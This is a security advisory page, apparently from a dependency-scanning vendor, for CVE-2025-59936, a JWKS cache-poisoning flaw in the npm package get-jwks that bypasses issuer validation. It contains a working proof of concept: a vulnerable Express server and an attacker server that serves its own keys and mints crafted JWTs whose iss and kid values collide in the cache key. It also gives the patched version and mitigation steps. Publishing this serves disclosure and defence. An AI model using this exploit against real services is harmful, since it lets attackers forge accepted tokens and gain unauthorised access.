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CRITICAL severity

CVE-2025-59936 — get-jwks

CRITICALFix: nearform/get-jwks@1706a17

CVE-2025-59936 is a critical-severity (CVSS 9.4) CWE-116 vulnerability in get-jwks. A fix is available for get-jwks — see the affected versions and patch details below.

get-jwks poisoned JWKS cache allows post-fetch issuer validation bypass

Also known asGHSA-qc2q-qhf3-235m
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 28, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-59936.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs35th percentile — riskier than 35% of all scored CVEsHighest risk
0.00%0.30%0.60%0.90%0.1%0.4%Apr 26Aug 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

16other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
get-jwksnpm
174Kdownloads / week

Description

Summary

A vulnerability in get-jwks can lead to cache poisoning in the JWKS key-fetching mechanism.

Details

When the iss (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted iss value.

The vulnerability will work only if the iss validation is done after the use of get-jwks for keys retrieval, which usually is the common case.

PoC

Server code:

const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')

const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
    jwks.getPublicKey({
        kid: jwt.header.kid,
        alg: jwt.header.alg,
        domain: jwt.payload.iss
    });

const jwtVerifier = createVerifier({
    key: keyFetcher,
    allowedIss: 'https://example.com',
});

const app = express();
const port = 3000;

app.use(express.json());

async function verifyToken(req, res, next) {
  const headerAuth = req.headers.authorization.split(' ')
  let token = '';
  if (headerAuth.length > 1) {
    token = headerAuth[1];
  }

  const payload = await jwtVerifier(token);

  req.decoded = payload;
  next();
}

// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
  res.json(req.decoded);
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

Exploit server that generates the JWT pair and send the public RSA key to the victim server:

const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');

const app = express();
const port = 3001;
const host = `http://localhost:${port}`;
const target_iss = `https://example.com`;

const { publicKey, privateKey } = generateKeyPairSync("rsa",
    {   modulusLength: 4096,
        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    },
);
const jwk = pem2jwk(publicKey);

app.use(express.json());

// Endpoint to create cache poisoning token
app.post('/create-token-1', (req, res) => {
  const token = jwt.sign({ ...req.body, iss: `${host}/?:${target_iss}`,  }, privateKey, { 
    algorithm: 'RS256', 
    header: {
        kid: "testkid", 
     } });
  res.send(token);
});

// Endpoint to create a token with valid iss
app.post('/create-token-2', (req, res) => {
    const token = jwt.sign({ ...req.body, iss: target_iss ,  }, privateKey, { algorithm: 'RS256', header: {
      kid: `testkid:${host}/?`, 
    } });
    res.send(token);
  });

app.get('/.well-known/jwks.json', (req, res) => {
    return res.json({
        keys: [{
            ...jwk,
            kid: 'testkid',
            alg: 'RS256',
            use: 'sig',
        }]
    });
})

app.use((req, res) => {
    return res.json({
        "issuer": host,
        "jwks_uri": host + '/.well-known/jwks.json'
    });
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

The first JWT token will create a cache entry with the chosen public key and have the following format:

RS256:testkid:http://localhost:3001/?:https://example.com

The second JWT has a valid iss, but will create the exact same cache key as the one before, leading to signature validation with the chosen public key, bypassing any future iss validations:

RS256:testkid:http://localhost:3001/?:https://example.com

Impact

Applications relying on get-jwks for key retrieval, even with iss validation post-fetching, allows attackers to sign arbitrary payloads which will be accepted by the verifiers used.

Solution

Escape each component used in the cache key, so delimiter collisions are impossible.

https://github.com/nearform/get-jwks/blob/57801368adf391a32040854863d81748d8ff97ed/src/get-jwks.js#L76

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmget-jwksall versions11.0.2npm install get-jwks@11.0.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for get-jwks, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update get-jwks to 11.0.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-59936 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Summary A vulnerability in `get-jwks` can lead to cache poisoning in the JWKS key-fetching mechanism. ### Details When the `iss` (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted
O3 Security · Impact-Aware SCA

Is CVE-2025-59936 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2025-59936: get-jwks — Fixed in 11.0.2